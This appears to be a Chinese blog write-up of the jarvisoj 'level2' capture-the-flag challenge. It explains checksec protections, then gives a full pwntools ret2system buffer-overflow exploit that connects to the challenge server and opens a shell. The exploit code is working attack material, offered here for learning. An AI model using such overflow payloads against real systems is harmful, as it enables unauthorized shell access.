jarvisoj level2

checksec看一下,没什么特别的。想起来了就再把checksec复习一下吧,checksec,是用来检查可执行文件属性的。
Arch:说明这个文件的属性是什么,说明是32位的程序。
Stack:canary,这个主要是说栈保护的东西,所利用的东西就是相当于网站的cookie,linux中把这种cookie信息称为canary,所以如果开启了这个,就一般不可以执行shellcode了。
RELRO:设置符号重定向表格为只读,或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。如果RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。
NX(DEP)即No-eXecute(不可执行)的意思,同样的,如果NX开启后,溢出转到shellcode以后,由于开启了不可执行,所以cpu就会抛出异常,而不去执行恶意指令。
PIE(ASLR)地址分布随机化。

image

因为开启了nx,所以这个题目我们就不可以用shellcode来做了,打开ida看一下shift+F12发现"bin/sh"开心的一逼。
溢出点也很好找,buf是0x88,read读入了0x100
所以我们只要劫持函数调用流程就可以pwn下来了。

from pwn import * 

#p = process('./level2') 
p = remote('pwn2.jarvisoj.com','9878')
elf = ELF('./level2')

sh_addr = elf.search('/bin/sh').next()
print p32(sh_addr)
system_addr = elf.symbols['system']
print p32(system_addr)
exit_addr = elf.symbols['read']
print p32(exit_addr)

payload = 'a' * (0x88 + 0x4) + p32(system_addr) + p32(exit_addr) + p32(sh_addr)

p.send(payload)
p.interactive()

其实返回地址可以任意指定的,因为我们已经执行了system('/bin/sh')了。。。我也不知道我当时为什么要这样子写。。大概是用完了还是要还会去比较安心。。。

你可能感兴趣的:(jarvisoj level2)